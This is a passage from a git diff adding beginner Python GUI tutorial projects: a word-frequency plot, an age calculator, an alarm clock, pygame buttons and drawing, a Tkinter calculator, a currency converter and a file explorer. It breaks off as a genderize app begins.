Text +for text in texts: + # Remove unwanted characters from the texts + for character in unwantedCharacters: + texts[text] = texts[text].replace(character, '').lower() + + splittedText = texts[text].split(' ') + + # Saving the text length to show in the label of the line later + textlengths[text] = len(splittedText) + + # Here will be the amount of occurence of each word stored + textwordamounts[text] = {} + + # Loop through all words in the text + for i in splittedText: + + # Add to the word at the given position if it already exists + # Else set the amount to one essentially making a new item in the dict + if i in textwordamounts[text].keys(): + textwordamounts[text][i] += 1 + else: + textwordamounts[text][i] = 1 + + # Sorting the dict by the values with sorted + # define custom key so the function knows what to use when sorting + textwordamounts[text] = dict( + sorted( + textwordamounts[text ].items(), + key=lambda x: x[1], + reverse=True)[0:depth] + ) + +# Get the percentage value of a given max value +def percentify(value, max): + return round(value / max * 100) + +# Generate smooth curvess +def smoothify(yInput): + + x = np.array(range(0, depth)) + y = np.array(yInput) + + # define x as 600 equally spaced values between the min and max of original x + x_smooth = np.linspace(x.min(), x.max(), 600) + + # define spline with degree k=3, which determines the amount of wiggle + spl = make_interp_spline(x, y, k=3) + y_smooth = spl(x_smooth) + + # Return the twe x and y axis + return x_smooth, y_smooth + +# Make the perfect Curve +ziffianCurveValues = [100/i for i in range(1, depth+1)] + +x, y = smoothify(ziffianCurveValues) + +plt.plot(x, y, label='Ziffian Curve', ls=':', color='grey') + + +# Plot the texts +for i in textwordamounts: + maxValue = list(textwordamounts[i].values())[0] + + yAxis = [percentify(value, maxValue) for value in list(textwordamounts[i].values())] + + x, y = smoothify(yAxis) + + plt.plot(x, y, label=i+f' [{textlengths[i]}]', lw=1, alpha=0.5) + +plt.xticks(range(0, depth), xAxis) + +plt.legend() +plt.savefig('wordamounts.png', dpi=300) +plt.show() \ No newline at end of file diff --git a/gui-programming/age-calculator/README.md b/gui-programming/age-calculator/README.md new file mode 100644 index 00000000..8f7b227f --- /dev/null +++ b/gui-programming/age-calculator/README.md @@ -0,0 +1 @@ +# [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/age-calculator/age_calculator_cli.py b/gui-programming/age-calculator/age_calculator_cli.py new file mode 100644 index 00000000..361b4180 --- /dev/null +++ b/gui-programming/age-calculator/age_calculator_cli.py @@ -0,0 +1,27 @@ +from datetime import date + +def calculate_age(day, month, year): + # we are getting the current date using the today() + today = date.today() + # convering year, month and day into birthdate + birthdate = date(year, month, day) + # calculating the age + age = today.year - birthdate.year - ((today.month, today.day) < (birthdate.month, birthdate.day)) + # return the age value + return age + + +# the try/except block +# the try will execute if there are no exceptions +try: + # we are getting day, month and year using input() function + day = input('Enter day:') + month = input('Enter month:') + year = input('Enter year:') + # creating a variable called calculated_age and we are also calling the claculate_age function + age_result = calculate_age(int(day), int(month), int(year)) + print(f'You are {age_result} years old') + +# the except will catch all errors +except: + print(f'Failed to calculate age, either day or month or year is invalid') diff --git a/gui-programming/age-calculator/age_calculator_ui.py b/gui-programming/age-calculator/age_calculator_ui.py new file mode 100644 index 00000000..1c266d92 --- /dev/null +++ b/gui-programming/age-calculator/age_calculator_ui.py @@ -0,0 +1,105 @@ +from tkinter import * +from tkinter import ttk +from datetime import date +from tkinter.messagebox import showerror + + +# the function for calculating the age +def calculate_age(): + # the try/except block + try: + # getting current date + today = date.today() + # getting day from the day entry + day = int(day_entry.get()) + # getting month from the month entry + month = int(month_entry.get()) + # getting year from the year entry + year = int(year_entry.get()) + # creating a date object + birthdate = date(year, month, day) + # calculating the age + age = today.year - birthdate.year - ((today.month, today.day) < (birthdate.month, birthdate.day)) + # displaying the age using the age result label + age_result.config(text='You are ' + str(age) + ' years old') + # if an error occurs the showerror window will pop up + except: + showerror(title='Error', message='An error occurred while trying to ' \ + 'calculate age\nThe following could ' \ + 'be the causes:\n->Invalid input data\n->An empty field/fields\n'\ + 'Make sure you enter valid data and fill all the fields') + + + +# creating the main window +window = Tk() +# the title for the window +window.title('Age Calculator') +# the dimensions and position of the windodw +window.geometry('500x260+430+300') +# making the window nonresizabale +window.resizable(height=FALSE, width=FALSE) + +# the canvas to contain all the widgets +canvas = Canvas(window, width=500, height=400) +canvas.pack() + +# ttk styles for the labels +label_style = ttk.Style() +label_style.configure('TLabel', foreground='#000000', font=('OCR A Extended', 14)) + +# ttk styles for the button +button_style = ttk.Style() +button_style.configure('TButton', foreground='#000000', font=('DotumChe', 16)) + +# ttk styles for the entries +entry_style = ttk.Style() +entry_style.configure('TEntry', font=('Dotum', 15)) + +# the label for displaying the big text +big_label = Label(window, text='AGE CALCULATOR', font=('OCR A Extended', 25)) + +# placing the big label inside the canvas +canvas.create_window(245, 40, window=big_label) + + +# label and entry for the day +day_label = ttk.Label(window, text='Day:', style='TLabel') +day_entry = ttk.Entry(window, width=15, style='TEntry') + +# label and entry for the month +month_label = ttk.Label(window, text='Month:', style='TLabel') +month_entry = ttk.Entry(window, width=15, style='TEntry') + +# label and entry for the year +year_label = ttk.Label(window, text='Year:', style='TLabel') +year_entry = ttk.Entry(window, width=15, style='TEntry') + +# the button +calculate_button = ttk.Button(window, text='Calculate Age', style='TButton', command=calculate_age) + +# label for display the calculated age +age_result = ttk.Label(window, text='', style='TLabel') + + +# adding the day label and entry inside the canvas +canvas.create_window(114, 100, window=day_label) +canvas.create_window(130, 130, window=day_entry) + +# adding the month label and entry inside the canvas +canvas.create_window(250, 100, window=month_label) +canvas.create_window(245, 130, window=month_entry) + +# adding the year label and entry inside the canvas +canvas.create_window(350, 100, window=year_label) +canvas.create_window(360, 130, window=year_entry) + +# adding the age_result and entry inside the canvas +canvas.create_window(245, 180, window=age_result) + +# adding the calculate button inside the canvas +canvas.create_window(245, 220, window=calculate_button) + + +# runs the window infinitely until uses closes it +window.mainloop() \ No newline at end of file diff --git a/gui-programming/alarm-clock-app/README.md b/gui-programming/alarm-clock-app/README.md new file mode 100644 index 00000000..0319f0e7 --- /dev/null +++ b/gui-programming/alarm-clock-app/README.md @@ -0,0 +1 @@ +# [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/alarm-clock-app/alarmclock.py b/gui-programming/alarm-clock-app/alarmclock.py new file mode 100644 index 00000000..9e1c0ef9 --- /dev/null +++ b/gui-programming/alarm-clock-app/alarmclock.py @@ -0,0 +1,68 @@ +from tkinter import * +import datetime +import time +from playsound import playsound +from tkinter import messagebox +from threading import * + + +root = Tk() # initializes tkinter to create display window +root.geometry('450x250') # width and height of the window +root.resizable(0, 0) # sets fix size of window +root.title(' Alarm Clock') # gives the window a title + + +addTime = Label(root, fg="red", text="Hour Min Sec", + font='arial 12 bold').place(x=210) +setYourAlarm = Label(root, text="Set Time(24hrs): ", + bg="grey", font="arial 11 bold").place(x=80, y=40) +hour = StringVar() +min = StringVar() +sec = StringVar() + +# make the time input fields +hourTime = Entry(root, textvariable=hour, relief=RAISED, width=4, font=(20)).place(x=210, y=40) +minTime = Entry(root, textvariable=min, width=4, font=(20)).place(x=270, y=40) +secTime = Entry(root, textvariable=sec, width=4, font=(20)).place(x=330, y=40) + + +def start_alarm(): + t1 = Thread(target=alarm) + t1.start() + + +def alarm(): + while True: + set_alarm_time = f"{hour.get()}:{min.get()}:{sec.get()}" + # sleep for 1s to update the time every second + time.sleep(1) + # Get current time + actual_time = datetime.datetime.now().strftime("%H:%M:%S") + FMT = '%H:%M:%S' + # get time remaining + time_remaining = datetime.datetime.strptime( + set_alarm_time, FMT) - datetime.datetime.strptime(actual_time, FMT) + # displays current time + CurrentLabel = Label( + root, text=f'Current time: {actual_time}', fg='black') + CurrentLabel.place(relx=0.2, rely=0.8, anchor=CENTER) + # displays alarm time + AlarmLabel = Label( + root, text=f'Alarm time: {set_alarm_time}', fg='black') + AlarmLabel.place(relx=0.2, rely=0.9, anchor=CENTER) + # displays time remaining + RemainingLabel = Label( + root, text=f'Remaining time: {time_remaining}', fg='red') + RemainingLabel.place(relx=0.7, rely=0.8, anchor=CENTER) + # Check whether set alarm is equal to current time + if actual_time == set_alarm_time: + # Playing sound + playsound('audio.mp3') + messagebox.showinfo("TIME'S UP!!!") + + +# create a button to set the alarm +submit = Button(root, text="Set Your Alarm", fg="red", width=20, + command=start_alarm, font=("arial 20 bold")).pack(pady=80, padx=120) +# run the program +root.mainloop() diff --git a/gui-programming/alarm-clock-app/audio.mp3 b/gui-programming/alarm-clock-app/audio.mp3 new file mode 100644 index 00000000..53dbb249 Binary files /dev/null and b/gui-programming/alarm-clock-app/audio.mp3 differ diff --git a/gui-programming/alarm-clock-app/requirements.txt b/gui-programming/alarm-clock-app/requirements.txt new file mode 100644 index 00000000..aaea0713 --- /dev/null +++ b/gui-programming/alarm-clock-app/requirements.txt @@ -0,0 +1 @@ +playsound \ No newline at end of file diff --git a/gui-programming/button-in-pygame/README.md b/gui-programming/button-in-pygame/README.md new file mode 100644 index 00000000..f1f211ee --- /dev/null +++ b/gui-programming/button-in-pygame/README.md @@ -0,0 +1 @@ +# [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python) \ No newline at end of file diff --git a/gui-programming/button-in-pygame/button_pygame.py b/gui-programming/button-in-pygame/button_pygame.py new file mode 100644 index 00000000..4681f03a --- /dev/null +++ b/gui-programming/button-in-pygame/button_pygame.py @@ -0,0 +1,85 @@ +# Imports +import sys +import pygame + +# Configuration +pygame.init() +fps = 60 +fpsClock = pygame.time.Clock() +width, height = 640, 480 +screen = pygame.display.set_mode((width, height)) + +font = pygame.font.SysFont('Arial', 40) + +objects = [] + +class Button(): + def __init__(self, x, y, width, height, buttonText='Button', onclickFunction=None, onePress=False): + self.x = x + self.y = y + self.width = width + self.height = height + self.onclickFunction = onclickFunction + self.onePress = onePress + + self.fillColors = { + 'normal': '#ffffff', + 'hover': '#666666', + 'pressed': '#333333', + } + + self.buttonSurface = pygame.Surface((self.width, self.height)) + self.buttonRect = pygame.Rect(self.x, self.y, self.width, self.height) + + self.buttonSurf = font.render(buttonText, True, (20, 20, 20)) + + self.alreadyPressed = False + + objects.append(self) + + def process(self): + + mousePos = pygame.mouse.get_pos() + + self.buttonSurface.fill(self.fillColors['normal']) + if self.buttonRect.collidepoint(mousePos): + self.buttonSurface.fill(self.fillColors['hover']) + + if pygame.mouse.get_pressed(num_buttons=3)[0]: + self.buttonSurface.fill(self.fillColors['pressed']) + + if self.onePress: + self.onclickFunction() + + elif not self.alreadyPressed: + self.onclickFunction() + self.alreadyPressed = True + + else: + self.alreadyPressed = False + + self.buttonSurface.blit(self.buttonSurf, [ + self.buttonRect.width/2 - self.buttonSurf.get_rect().width/2, + self.buttonRect.height/2 - self.buttonSurf.get_rect().height/2 + ]) + screen.blit(self.buttonSurface, self.buttonRect) + +def myFunction(): + print('Button Pressed') + +customButton = Button(30, 30, 400, 100, 'Button One (onePress)', myFunction) +customButton = Button(30, 140, 400, 100, 'Button Two (multiPress)', myFunction, True) + +# Game loop. +while True: + screen.fill((20, 20, 20)) + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + for object in objects: + object.process() + + pygame.display.flip() + fpsClock.tick(fps) \ No newline at end of file diff --git a/gui-programming/button-in-pygame/requirements.txt b/gui-programming/button-in-pygame/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/button-in-pygame/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/calculator-app/README.md b/gui-programming/calculator-app/README.md new file mode 100644 index 00000000..95762bfa --- /dev/null +++ b/gui-programming/calculator-app/README.md @@ -0,0 +1,2 @@ +# [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python) +You can get the original version of the calculator [here](https://github.com/Maximinodotpy/calculator). \ No newline at end of file diff --git a/gui-programming/calculator-app/calculator.py b/gui-programming/calculator-app/calculator.py new file mode 100644 index 00000000..c2a17595 --- /dev/null +++ b/gui-programming/calculator-app/calculator.py @@ -0,0 +1,197 @@ +from tkinter import * +import tkinter.font as font +from functools import partial +import ctypes +import json +import re + +# so the functions can be used from the math module can be used in the lineedit. +import math + +ctypes.windll.shcore.SetProcessDpiAwareness(1) + +# Colors +buttonColor = (255, 255, 255) +historyPanelBackground = (255, 255, 255) + +# Tkinter Setup +root = Tk() +root.geometry("550x270") +root.title("Calculator") + +# Setting icon for the Application +photo = PhotoImage(file = "icon.png") +root.iconphoto(False, photo) + +# Loading Font from font name +myFont = font.Font(family='Consolas', size=12) + +# Formula Templates +formulas = [ + ['Pythagoras->c', '(({a}**2)+({b}**2))**0.5 ? a=5 & b=5'], + ['Pythagoras->c**2', '({a}**2)+({b}**2) ? a=5 & b=5'], + ['pq->(x1, x2)', '-({p}/2) + sqrt(({p}/2)**2 - ({q})), -({p}/2) - sqrt(({p}/2)**2 - ({q})) ? p=-1 & q=-12'], + ['abc->(x1, x2)', 'quadratic_formula({a}, {b}, {c}) ? a=1 & b=5 & c=6'], + ['Incline->y', '{m}*{x} + {q} ? m=4 & x=5 & q=6'], +] + +# All the history equations are in this list. +history = [] +# Where the history file is located. +historyFilePath = 'history.json' +print("Reading history from:", historyFilePath) +# Creating History file if it does not exist. +try: + with open(historyFilePath, 'x') as fp: + pass + print("Created file at:", historyFilePath) +except: + print('File already exists') + +# converting RGB values to HEX +def rgb_to_hex(rgb): + return "#%02x%02x%02x" % rgb + +# Add something to the current calculation +def addSymbol(event=None, symbol=None): + + if symbol == '<': + entryVariable.set(entryVariable.get()[:-1]) + else: + entryVariable.set(entryVariable.get()+symbol) + +def varChange(*args): + evaluationString = entryVariable.get().replace(' ', '').split('?')[0] + + print('Before insertion: ',evaluationString) + + if len(entryVariable.get().split('?')) == 2: + + parameters = entryVariable.get().replace(' ', '').split('?')[1] + + for param in parameters.split('&'): + where, what = param.split('=') + evaluationString = re.sub('{'+where+'}', what, evaluationString) + + try: + print('After insertion: ', evaluationString) + resultLabel.config(text=str(eval(evaluationString))) + except: + resultLabel.config(text='Invalid Input') + +def saveCurrentInputToHistory(event=None): + if entryVariable.get() in history: + return + + history.append(entryVariable.get()) + + with open(historyFilePath, 'w') as file: + file.write(json.dumps(history)) + + updateListBox() + +def updateListBox(event=None): + global history + + historyList.delete(0, END) + + try: + with open(historyFilePath, 'r') as file: + history = json.loads(file.read()) + except json.decoder.JSONDecodeError: + print('File does not contain JSON') + + for index, item in enumerate(history): + historyList.insert(index, item) + +def setEntryFromHistory(event=None): + historyItem = historyList.get(historyList.curselection()[0]) + entryVariable.set(historyItem) + +def addFormula(formula=''): + saveCurrentInputToHistory() + entryVariable.set(formula) + +def quadratic_formula(a, b, c): + + disc = b**2 - 4 * a * c + + x1 = (-b - math.sqrt(disc)) / (2 * a) + x2 = (-b + math.sqrt(disc)) / (2 * a) + + return(x1, x2) + +# Work with Frames to split the window in two parts: the calculator and the History Panel. + +# Calculation Panel +calcSide = Frame(root) +calcSide.pack(side=LEFT, fill=BOTH, expand=1) + +# Entry Variable for the calculations +entryVariable = StringVar(root, '4/2**2') +entryVariable.trace('w', varChange) + +Entry(calcSide, textvariable=entryVariable, font=myFont, borderwidth=0).pack(fill=X, ipady=10, ipadx=10) +resultLabel = Label(calcSide, text='Result', font=myFont, borderwidth=0,anchor="e") +resultLabel.pack(fill=X, ipady=10) + +# History Panel +historySide = Frame(root, bg=rgb_to_hex(historyPanelBackground)) +historySide.pack(side=LEFT, fill=BOTH, expand=1) + +historyTopBar = Frame(historySide) +historyTopBar.pack(fill=X) +Label(historyTopBar, text='History').pack(side=LEFT) +Button(historyTopBar, text='Save Current Input', bg=rgb_to_hex(buttonColor), borderwidth=0, command=saveCurrentInputToHistory).pack(side=RIGHT) + +historyList = Listbox(historySide, borderwidth=0) +historyList.pack(fill=BOTH, expand=True) +historyList.bind("", setEntryFromHistory) + +# Insert stuff into the history +updateListBox() + +# Button Symbols (and their position) +symbols = [ + ['1', '2', '3', '+'], + ['4', '5', '6', '-'], + ['7', '8', '9', '/'], + ['0', '.', '<', '*'], +] + +for rowList in symbols: + # Make a row + row = Frame(calcSide) + row.pack(fill=BOTH, expand=True) + for symbol in rowList: + # Making and packing the Button + Button( + row, text=symbol, command=partial(addSymbol, symbol=symbol), + font=myFont, bg=rgb_to_hex(buttonColor), borderwidth=0) \ + .pack(side=LEFT, fill=BOTH, expand=1) + # Change button color each iteration for gradient. + buttonColor = (buttonColor[0] - 10, buttonColor[1] - 10, buttonColor[1] - 2) + + +menubar = Menu(root) + +filemenu = Menu(menubar, tearoff=0) + +# Add all Formulas to the dropdown menu. +for formula in formulas: + filemenu.add_command(label=formula[0], command=partial(addFormula, formula[1])) + +filemenu.add_separator() + +# Quit command +filemenu.add_command(label="Exit", command=root.quit) + +menubar.add_cascade(menu=filemenu, label='Formulas') + +root.config(menu=menubar) + + +# Call the var change once so it is evaluated withhout actual change. +varChange('foo') + +root.mainloop() \ No newline at end of file diff --git a/gui-programming/calculator-app/history.json b/gui-programming/calculator-app/history.json new file mode 100644 index 00000000..df95dfd4 --- /dev/null +++ b/gui-programming/calculator-app/history.json @@ -0,0 +1 @@ +["4/2**2", "4/2**3", "{a} ? a = 6", "", "-({p}/2) + sqrt( ({p}/2) - {q}) ? p=10 & q=5", "0", "({a}**2)+({b}**2) ? a=5 & b=5", "2+3/2*2-4", "(({a}**2)+({b}**2))**0.5 ? a=1 & b=7", "quadratic_formula({a}, {b}, {c}) ? a=1 & b=5 & c=6", "2-1/8*55", " {a} + 1 ? a=14"] \ No newline at end of file diff --git a/gui-programming/calculator-app/icon.png b/gui-programming/calculator-app/icon.png new file mode 100644 index 00000000..e0e5c4b0 Binary files /dev/null and b/gui-programming/calculator-app/icon.png differ diff --git a/gui-programming/currency-converter-gui/README.md b/gui-programming/currency-converter-gui/README.md new file mode 100644 index 00000000..55e65d8a --- /dev/null +++ b/gui-programming/currency-converter-gui/README.md @@ -0,0 +1 @@ +# [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python) \ No newline at end of file diff --git a/gui-programming/currency-converter-gui/currency_converter.py b/gui-programming/currency-converter-gui/currency_converter.py new file mode 100644 index 00000000..b60486ec --- /dev/null +++ b/gui-programming/currency-converter-gui/currency_converter.py @@ -0,0 +1,113 @@ +# importing everything from tkinter +from tkinter import * +# importing ttk widgets from tkinter +from tkinter import ttk +import requests +# tkinter message box for displaying errors +from tkinter.messagebox import showerror + + +API_KEY = 'put your API key here' + +# the Standard request url +url = f'https://v6.exchangerate-api.com/v6/{API_KEY}/latest/USD' + +# making the Standard request to the API +response = requests.get(f'{url}').json() + +# converting the currencies to dictionaries +currencies = dict(response['conversion_rates']) + +def convert_currency(): + # will execute the code when everything is ok + try: + # getting currency from first combobox + source = from_currency_combo.get() + # getting currency from second combobox + destination = to_currency_combo.get() + # getting amound from amount_entry + amount = amount_entry.get() + # sending a request to the Pair Conversion url and converting it to json + result = requests.get(f'https://v6.exchangerate-api.com/v6/{API_KEY}/pair/{source}/{destination}/{amount}').json() + # getting the conversion result from response result + converted_result = result['conversion_result'] + # formatting the results + formatted_result = f'{amount} {source} = {converted_result} {destination}' + # adding text to the empty result label + result_label.config(text=formatted_result) + # adding text to the empty time label + time_label.config(text='Last updated,' + result['time_last_update_utc']) + # will catch all the errors that might occur + # ConnectionTimeOut, JSONDecodeError etc + except: + showerror(title='Error', message="An error occurred!!. Fill all the required field or check your internet connection.") + + +# creating the main window +window = Tk() + +# this gives the window the width(310), height(320) and the position(center) +window.geometry('310x340+500+200') + +# this is the title for the window +window.title('Currency Converter') + +# this will make the window not resizable, since height and width is FALSE +window.resizable(height=FALSE, width=FALSE) + +# colors for the application +primary = '#081F4D' +secondary = '#0083FF' +white = '#FFFFFF' + +# the top frame +top_frame = Frame(window, bg=primary, width=300, height=80) +top_frame.grid(row=0, column=0) + +# label for the text Currency Converter +name_label = Label(top_frame, text='Currency Converter', bg=primary, fg=white, pady=30, padx=24, justify=CENTER, font=('Poppins 20 bold')) +name_label.grid(row=0, column=0) + + +# the bottom frame +bottom_frame = Frame(window, width=300, height=250) +bottom_frame.grid(row=1, column=0) + +# widgets inside the bottom frame +from_currency_label = Label(bottom_frame, text='FROM:', font=('Poppins 10 bold'), justify=LEFT) +from_currency_label.place(x=5, y=10) + +to_currency_label = Label(bottom_frame, text='TO:', font=('Poppins 10 bold'), justify=RIGHT) +to_currency_label.place(x=160, y=10) + +# this is the combobox for holding from_currencies +from_currency_combo = ttk.Combobox(bottom_frame, values=list(currencies.keys()), width=14, font=('Poppins 10 bold')) +from_currency_combo.place(x=5, y=30) + +# this is the combobox for holding to_currencies +to_currency_combo = ttk.Combobox(bottom_frame, values=list(currencies.keys()), width=14, font=('Poppins 10 bold')) +to_currency_combo.place(x=160, y=30) + +# the label for AMOUNT +amount_label = Label(bottom_frame, text='AMOUNT:', font=('Poppins 10 bold')) +amount_label.place(x=5, y=55) + +# entry for amount +amount_entry = Entry(bottom_frame, width=25, font=('Poppins 15 bold')) +amount_entry.place(x=5, y=80) + +# an empty label for displaying the result +result_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +result_label.place(x=5, y=115) + +# an empty label for displaying the time +time_label = Label(bottom_frame, text='', font=('Poppins 10 bold')) +time_label.place(x=5, y=135) + +# the clickable button for converting the currency +convert_button = Button(bottom_frame, text="CONVERT", bg=secondary, fg=white, font=('Poppins 10 bold'), command=convert_currency) +convert_button.place(x=5, y=165) + + +# this runs the window infinitely until it is closed +window.mainloop() \ No newline at end of file diff --git a/gui-programming/currency-converter-gui/requirements.txt b/gui-programming/currency-converter-gui/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/gui-programming/currency-converter-gui/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/gui-programming/drawing-tool-in-pygame/README.md b/gui-programming/drawing-tool-in-pygame/README.md new file mode 100644 index 00000000..fc6563c2 --- /dev/null +++ b/gui-programming/drawing-tool-in-pygame/README.md @@ -0,0 +1 @@ +# [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python) \ No newline at end of file diff --git a/gui-programming/drawing-tool-in-pygame/drawing_tool.py b/gui-programming/drawing-tool-in-pygame/drawing_tool.py new file mode 100644 index 00000000..26e0b070 --- /dev/null +++ b/gui-programming/drawing-tool-in-pygame/drawing_tool.py @@ -0,0 +1,164 @@ +# Imports +import sys +import pygame +import ctypes + +# Increas Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Pygame Configuration +pygame.init() +fps = 300 +fpsClock = pygame.time.Clock() +width, height = 640, 480 +screen = pygame.display.set_mode((width, height), pygame.RESIZABLE) + +font = pygame.font.SysFont('Arial', 20) + +# Variables + +# Our Buttons will append themself to this list +objects = [] + +# Initial color +drawColor = [0, 0, 0] + +# Initial brush size +brushSize = 30 +brushSizeSteps = 3 + +# Drawing Area Size +canvasSize = [800, 800] + +# Button Class +class Button(): + def __init__(self, x, y, width, height, buttonText='Button', onclickFunction=None, onePress=False): + self.x = x + self.y = y + self.width = width + self.height = height + self.onclickFunction = onclickFunction + self.onePress = onePress + + self.fillColors = { + 'normal': '#ffffff', + 'hover': '#666666', + 'pressed': '#333333', + } + + self.buttonSurface = pygame.Surface((self.width, self.height)) + self.buttonRect = pygame.Rect(self.x, self.y, self.width, self.height) + + self.buttonSurf = font.render(buttonText, True, (20, 20, 20)) + + self.alreadyPressed = False + + objects.append(self) + + def process(self): + + mousePos = pygame.mouse.get_pos() + + self.buttonSurface.fill(self.fillColors['normal']) + if self.buttonRect.collidepoint(mousePos): + self.buttonSurface.fill(self.fillColors['hover']) + + if pygame.mouse.get_pressed(num_buttons=3)[0]: + self.buttonSurface.fill(self.fillColors['pressed']) + + if self.onePress: + self.onclickFunction() + + elif not self.alreadyPressed: + self.onclickFunction() + self.alreadyPressed = True + + else: + self.alreadyPressed = False + + self.buttonSurface.blit(self.buttonSurf, [ + self.buttonRect.width/2 - self.buttonSurf.get_rect().width/2, + self.buttonRect.height/2 - self.buttonSurf.get_rect().height/2 + ]) + screen.blit(self.buttonSurface, self.buttonRect) + + +# Handler Functions + +# Changing the Color +def changeColor(color): + global drawColor + drawColor = color + +# Changing the Brush Size +def changebrushSize(dir): + global brushSize + if dir == 'greater': + brushSize += brushSizeSteps + else: + brushSize -= brushSizeSteps + +# Save the surface to the Disk +def save(): + pygame.image.save(canvas, "canvas.png") + +# Button Variables. +buttonWidth = 120 +buttonHeight = 35 + +# Buttons and their respective functions. +buttons = [ + ['Black', lambda: changeColor([0, 0, 0])], + ['White', lambda: changeColor([255, 255, 255])], + ['Blue', lambda: changeColor([0, 0, 255])], + ['Green', lambda: changeColor([0, 255, 0])], + ['Brush Larger', lambda: changebrushSize('greater')], + ['Brush Smaller', lambda: changebrushSize('smaller')], + ['Save', save], +] + +# Making the buttons +for index, buttonName in enumerate(buttons): + Button(index * (buttonWidth + 10) + 10, 10, buttonWidth, + buttonHeight, buttonName[0], buttonName[1]) + +# Canvas +canvas = pygame.Surface(canvasSize) +canvas.fill((255, 255, 255)) + +# Game loop. +while True: + screen.fill((30, 30, 30)) + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + # Drawing the Buttons + for object in objects: + object.process() + # Draw the Canvas at the center of the screen + x, y = screen.get_size() + screen.blit(canvas, [x/2 - canvasSize[0]/2, y/2 - canvasSize[1]/2]) + # Drawing with the mouse + if pygame.mouse.get_pressed()[0]: + mx, my = pygame.mouse.get_pos() + # Calculate Position on the Canvas + dx = mx - x/2 + canvasSize[0]/2 + dy = my - y/2 + canvasSize[1]/2 + pygame.draw.circle( + canvas, + drawColor, + [dx, dy], + brushSize, + ) + # Reference Dot + pygame.draw.circle( + screen, + drawColor, + [100, 100], + brushSize, + ) + + pygame.display.flip() + fpsClock.tick(fps) diff --git a/gui-programming/drawing-tool-in-pygame/requirements.txt b/gui-programming/drawing-tool-in-pygame/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/drawing-tool-in-pygame/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/file-explorer/README.md b/gui-programming/file-explorer/README.md new file mode 100644 index 00000000..ddcf6dbc --- /dev/null +++ b/gui-programming/file-explorer/README.md @@ -0,0 +1 @@ +# [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python) \ No newline at end of file diff --git a/gui-programming/file-explorer/file_explorer.py b/gui-programming/file-explorer/file_explorer.py new file mode 100644 index 00000000..5853aac9 --- /dev/null +++ b/gui-programming/file-explorer/file_explorer.py @@ -0,0 +1,112 @@ +from tkinter import * +import os +import ctypes +import pathlib + +# Increase Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +root = Tk() +# set a title for our file explorer main window +root.title('Simple Explorer') + +root.grid_columnconfigure(1, weight=1) +root.grid_rowconfigure(1, weight=1) + +def pathChange(*event): + # Get all Files and Folders from the given Directory + directory = os.listdir(currentPath.get()) + # Clearing the list + list.delete(0, END) + # Inserting the files and directories into the list + for file in directory: + list.insert(0, file) + +def changePathByClick(event=None): + # Get clicked item. + picked = list.get(list.curselection()[0]) + # get the complete path by joining the current path with the picked item + path = os.path.join(currentPath.get(), picked) + # Check if item is file, then open it + if os.path.isfile(path): + print('Opening: '+path) + os.startfile(path) + # Set new path, will trigger pathChange function. + else: + currentPath.set(path) + +def goBack(event=None): + # get the new path + newPath = pathlib.Path(currentPath.get()).parent + # set it to currentPath + currentPath.set(newPath) + # simple message + print('Going Back') + + +def open_popup(): + global top + top = Toplevel(root) + top.geometry("250x150") + top.resizable(False, False) + top.title("Child Window") + top.columnconfigure(0, weight=1) + Label(top, text='Enter File or Folder name').grid() + Entry(top, textvariable=newFileName).grid(column=0, pady=10, sticky='NSEW') + Button(top, text="Create", command=newFileOrFolder).grid(pady=10, sticky='NSEW') + +def newFileOrFolder(): + # check if it is a file name or a folder + if len(newFileName.get().split('.')) != 1: + open(os.path.join(currentPath.get(), newFileName.get()), 'w').close() + else: + os.mkdir(os.path.join(currentPath.get(), newFileName.get())) + # destroy the top + top.destroy() + pathChange() + +top = '' + +# String variables +newFileName = StringVar(root, "File.dot", 'new_name') +currentPath = StringVar( + root, + name='currentPath', + value=pathlib.Path.cwd() +) +# Bind changes in this variable to the pathChange function +currentPath.trace('w', pathChange) + +Button(root, text='Folder Up', command=goBack).grid( + sticky='NSEW', column=0, row=0 +) + +# Keyboard shortcut for going up +root.bind("", goBack) + +Entry(root, textvariable=currentPath).grid( + sticky='NSEW', column=1, row=0, ipady=10, ipadx=10 +) + +# List of files and folder +list = Listbox(root) +list.grid(sticky='NSEW', column=1, row=1, ipady=10, ipadx=10) + +# List Accelerators +list.bind('', changePathByClick) +list.bind('', changePathByClick) + + +# Menu +menubar = Menu(root) +# Adding a new File button +menubar.add_command(label="Add File or Folder", command=open_popup) +# Adding a quit button to the Menubar +menubar.add_command(label="Quit", command=root.quit) +# Make the menubar the Main Menu +root.config(menu=menubar) + +# Call the function so the list displays +pathChange('') +# run the main program +root.mainloop() diff --git a/gui-programming/genderize-app/README.md b/gui-programming/genderize-app/README.md new file mode 100644 index 00000000..bebe3b1f --- /dev/null +++ b/gui-programming/genderize-app/README.md @@ -0,0 +1 @@ +# [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python) \ No newline at end of file diff --git a/gui-programming/genderize-app/genderize_app.py b/gui-programming/genderize-app/genderize_app.py new file mode 100644 index 00000000..e7d19ccf --- /dev/null +++ 